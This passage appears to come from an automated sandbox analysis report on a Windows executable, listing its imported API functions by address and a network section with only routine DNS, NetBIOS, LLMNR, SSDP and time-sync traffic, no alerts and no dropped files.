• 0x4a82f4 GetModuleFileNameA
• 0x4a82f8 GetLocaleInfoA
• 0x4a82fc GetLocalTime
• 0x4a8300 GetLastError
• 0x4a8304 GetFullPathNameA
• 0x4a8308 GetFileSize
• 0x4a830c GetFileAttributesA
• 0x4a8310 GetDiskFreeSpaceA
• 0x4a8314 GetDateFormatA
• 0x4a8318 GetCurrentThreadId
• 0x4a831c GetCurrentProcessId
• 0x4a8324 GetCPInfo
• 0x4a8328 GetACP
• 0x4a832c FreeResource
• 0x4a8334 InterlockedExchange
• 0x4a833c FreeLibrary
• 0x4a8340 FormatMessageA
• 0x4a8344 FindResourceA
• 0x4a8348 FindFirstFileA
• 0x4a834c FindClose
• 0x4a8358 FatalAppExitA
• 0x4a835c ExitThread
• 0x4a8360 EnumCalendarInfoA
• 0x4a836c CreateThread
• 0x4a8370 CreateMutexA
• 0x4a8374 CreateFileA
• 0x4a8378 CreateEventA
• 0x4a837c CompareStringA
• 0x4a8380 CloseHandle
Library version.dll:
• 0x4a8388 VerQueryValueA
• 0x4a8390 GetFileVersionInfoA
Library gdi32.dll:
• 0x4a8398 UnrealizeObject
• 0x4a839c StretchBlt
• 0x4a83a0 SetWindowOrgEx
• 0x4a83a4 SetWinMetaFileBits
• 0x4a83a8 SetViewportOrgEx
• 0x4a83ac SetTextColor
• 0x4a83b0 SetStretchBltMode
• 0x4a83b4 SetROP2
• 0x4a83b8 SetPixel
• 0x4a83bc SetEnhMetaFileBits
• 0x4a83c0 SetDIBColorTable
• 0x4a83c4 SetBrushOrgEx
• 0x4a83c8 SetBkMode
• 0x4a83cc SetBkColor
• 0x4a83d0 SelectPalette
• 0x4a83d4 SelectObject
• 0x4a83d8 SaveDC
• 0x4a83dc RestoreDC
• 0x4a83e0 Rectangle
• 0x4a83e4 RectVisible
• 0x4a83e8 RealizePalette
• 0x4a83ec Polyline
• 0x4a83f0 PlayEnhMetaFile
• 0x4a83f4 PatBlt
• 0x4a83f8 MoveToEx
• 0x4a83fc MaskBlt
• 0x4a8400 LineTo
• 0x4a8404 IntersectClipRect
• 0x4a8408 GetWindowOrgEx
• 0x4a840c GetWinMetaFileBits
• 0x4a8410 GetTextMetricsA
• 0x4a841c GetStockObject
• 0x4a8420 GetPixel
• 0x4a8424 GetPaletteEntries
• 0x4a8428 GetObjectA
• 0x4a8434 GetEnhMetaFileBits
• 0x4a8438 GetDeviceCaps
• 0x4a843c GetDIBits
• 0x4a8440 GetDIBColorTable
• 0x4a8444 GetDCOrgEx
• 0x4a844c GetClipBox
• 0x4a8450 GetBrushOrgEx
• 0x4a8454 GetBitmapBits
• 0x4a8458 ExcludeClipRect
• 0x4a845c DeleteObject
• 0x4a8460 DeleteEnhMetaFile
• 0x4a8464 DeleteDC
• 0x4a8468 CreateSolidBrush
• 0x4a846c CreatePenIndirect
• 0x4a8470 CreatePalette
• 0x4a8478 CreateFontIndirectA
• 0x4a847c CreateDIBitmap
• 0x4a8480 CreateDIBSection
• 0x4a8484 CreateCompatibleDC
• 0x4a848c CreateBrushIndirect
• 0x4a8490 CreateBitmap
• 0x4a8494 CopyEnhMetaFileA
• 0x4a8498 BitBlt
Library user32.dll:
• 0x4a84a0 CreateWindowExA
• 0x4a84a4 WindowFromPoint
• 0x4a84a8 WinHelpA
• 0x4a84ac WaitMessage
• 0x4a84b0 UpdateWindow
• 0x4a84b4 UnregisterClassA
• 0x4a84b8 UnhookWindowsHookEx
• 0x4a84bc TranslateMessage
• 0x4a84c4 TrackPopupMenu
• 0x4a84cc ShowWindow
• 0x4a84d0 ShowScrollBar
• 0x4a84d4 ShowOwnedPopups
• 0x4a84d8 ShowCursor
• 0x4a84dc SetWindowsHookExA
• 0x4a84e0 SetWindowPos
• 0x4a84e4 SetWindowPlacement
• 0x4a84e8 SetWindowLongA
• 0x4a84ec SetTimer
• 0x4a84f0 SetScrollRange
• 0x4a84f4 SetScrollPos
• 0x4a84f8 SetScrollInfo
• 0x4a84fc SetRect
• 0x4a8500 SetPropA
• 0x4a8504 SetParent
• 0x4a8508 SetMenuItemInfoA
• 0x4a850c SetMenu
• 0x4a8510 SetForegroundWindow
• 0x4a8514 SetFocus
• 0x4a8518 SetCursor
• 0x4a851c SetClassLongA
• 0x4a8520 SetCapture
• 0x4a8524 SetActiveWindow
• 0x4a8528 SendMessageA
• 0x4a852c ScrollWindow
• 0x4a8530 ScreenToClient
• 0x4a8534 RemovePropA
• 0x4a8538 RemoveMenu
• 0x4a853c ReleaseDC
• 0x4a8540 ReleaseCapture
• 0x4a854c RegisterClassA
• 0x4a8550 RedrawWindow
• 0x4a8554 PtInRect
• 0x4a8558 PostQuitMessage
• 0x4a855c PostMessageA
• 0x4a8560 PeekMessageA
• 0x4a8564 OffsetRect
• 0x4a8568 OemToCharBuffA
• 0x4a856c OemToCharA
• 0x4a8570 MessageBoxA
• 0x4a8574 MapWindowPoints
• 0x4a8578 MapVirtualKeyA
• 0x4a857c LoadStringA
• 0x4a8580 LoadKeyboardLayoutA
• 0x4a8584 LoadIconA
• 0x4a8588 LoadCursorA
• 0x4a858c LoadBitmapA
• 0x4a8590 KillTimer
• 0x4a8594 IsZoomed
• 0x4a8598 IsWindowVisible
• 0x4a859c IsWindowEnabled
• 0x4a85a0 IsWindow
• 0x4a85a4 IsRectEmpty
• 0x4a85a8 IsIconic
• 0x4a85ac IsDialogMessageA
• 0x4a85b0 IsChild
• 0x4a85b4 InvalidateRect
• 0x4a85b8 IntersectRect
• 0x4a85bc InsertMenuItemA
• 0x4a85c0 InsertMenuA
• 0x4a85c4 InflateRect
• 0x4a85cc GetWindowTextA
• 0x4a85d0 GetWindowRect
• 0x4a85d4 GetWindowPlacement
• 0x4a85d8 GetWindowLongA
• 0x4a85dc GetWindowDC
• 0x4a85e0 GetTopWindow
• 0x4a85e4 GetSystemMetrics
• 0x4a85e8 GetSystemMenu
• 0x4a85ec GetSysColorBrush
• 0x4a85f0 GetSysColor
• 0x4a85f4 GetSubMenu
• 0x4a85f8 GetScrollRange
• 0x4a85fc GetScrollPos
• 0x4a8600 GetScrollInfo
• 0x4a8604 GetPropA
• 0x4a8608 GetParent
• 0x4a860c GetWindow
• 0x4a8610 GetMenuStringA
• 0x4a8614 GetMenuState
• 0x4a8618 GetMenuItemInfoA
• 0x4a861c GetMenuItemID
• 0x4a8620 GetMenuItemCount
• 0x4a8624 GetMenu
• 0x4a8628 GetLastActivePopup
• 0x4a862c GetKeyboardState
• 0x4a8634 GetKeyboardLayout
• 0x4a8638 GetKeyState
• 0x4a863c GetKeyNameTextA
• 0x4a8640 GetIconInfo
• 0x4a8644 GetForegroundWindow
• 0x4a8648 GetFocus
• 0x4a864c GetDlgItem
• 0x4a8650 GetDesktopWindow
• 0x4a8654 GetDCEx
• 0x4a8658 GetDC
• 0x4a865c GetCursorPos
• 0x4a8660 GetCursor
• 0x4a8664 GetClipboardData
• 0x4a8668 GetClientRect
• 0x4a866c GetClassNameA
• 0x4a8670 GetClassInfoA
• 0x4a8674 GetCapture
• 0x4a8678 GetActiveWindow
• 0x4a867c FrameRect
• 0x4a8680 FindWindowA
• 0x4a8684 FillRect
• 0x4a8688 EqualRect
• 0x4a868c EnumWindows
• 0x4a8690 EnumThreadWindows
• 0x4a8694 EndPaint
• 0x4a8698 EnableWindow
• 0x4a869c EnableScrollBar
• 0x4a86a0 EnableMenuItem
• 0x4a86a4 DrawTextA
• 0x4a86a8 DrawMenuBar
• 0x4a86ac DrawIconEx
• 0x4a86b0 DrawIcon
• 0x4a86b4 DrawFrameControl
• 0x4a86b8 DrawEdge
• 0x4a86bc DispatchMessageA
• 0x4a86c0 DestroyWindow
• 0x4a86c4 DestroyMenu
• 0x4a86c8 DestroyIcon
• 0x4a86cc DestroyCursor
• 0x4a86d0 DeleteMenu
• 0x4a86d4 DefWindowProcA
• 0x4a86d8 DefMDIChildProcA
• 0x4a86dc DefFrameProcA
• 0x4a86e0 CreatePopupMenu
• 0x4a86e4 CreateMenu
• 0x4a86e8 CreateIcon
• 0x4a86ec ClientToScreen
• 0x4a86f0 CheckMenuItem
• 0x4a86f4 CallWindowProcA
• 0x4a86f8 CallNextHookEx
• 0x4a86fc BeginPaint
• 0x4a8700 CharNextA
• 0x4a8704 CharLowerBuffA
• 0x4a8708 CharLowerA
• 0x4a870c CharUpperBuffA
• 0x4a8710 CharToOemBuffA
• 0x4a8714 CharToOemA
• 0x4a8718 AdjustWindowRectEx
Library kernel32.dll:
• 0x4a8724 Sleep
Library oleaut32.dll:
• 0x4a872c SafeArrayPtrOfIndex
• 0x4a8730 SafeArrayPutElement
• 0x4a8734 SafeArrayGetElement
• 0x4a873c SafeArrayAccessData
• 0x4a8740 SafeArrayGetUBound
• 0x4a8744 SafeArrayGetLBound
• 0x4a8748 SafeArrayCreate
• 0x4a874c VariantChangeType
• 0x4a8750 VariantCopyInd
• 0x4a8754 VariantCopy
• 0x4a8758 VariantClear
• 0x4a875c VariantInit
Library ole32.dll:
• 0x4a8764 CoCreateInstance
• 0x4a8768 CoUninitialize
• 0x4a876c CoInitialize
Library oleaut32.dll:
• 0x4a8774 GetErrorInfo
• 0x4a8778 SysFreeString
Library comctl32.dll:
• 0x4a8788 ImageList_Write
• 0x4a878c ImageList_Read
• 0x4a879c ImageList_DragMove
• 0x4a87a0 ImageList_DragLeave
• 0x4a87a4 ImageList_DragEnter
• 0x4a87a8 ImageList_EndDrag
• 0x4a87ac ImageList_BeginDrag
• 0x4a87b0 ImageList_Remove
• 0x4a87b4 ImageList_DrawEx
• 0x4a87b8 ImageList_Replace
• 0x4a87bc ImageList_Draw
• 0x4a87cc ImageList_Add
• 0x4a87d4 ImageList_Destroy
• 0x4a87d8 ImageList_Create
• 0x4a87dc InitCommonControls
Library comdlg32.dll:
• 0x4a87e4 GetSaveFileNameA
• 0x4a87e8 GetOpenFileNameA

Hosts

No hosts contacted.

TCP

No TCP connections recorded.

UDP

Source Source Port Destination Destination Port
192.168.56.101 51963 114.114.114.114 53
192.168.56.101 57874 114.114.114.114 53
192.168.56.101 60123 114.114.114.114 53
192.168.56.101 60215 114.114.114.114 53
192.168.56.101 62191 114.114.114.114 53
192.168.56.101 62318 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 49235 224.0.0.252 5355
192.168.56.101 49713 224.0.0.252 5355
192.168.56.101 50534 224.0.0.252 5355
192.168.56.101 50568 224.0.0.252 5355
192.168.56.101 51378 224.0.0.252 5355
192.168.56.101 51808 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 57756 224.0.0.252 5355
192.168.56.101 63429 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900
192.168.56.101 51964 239.255.255.250 3702

HTTP & HTTPS Requests

No HTTP requests performed.

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.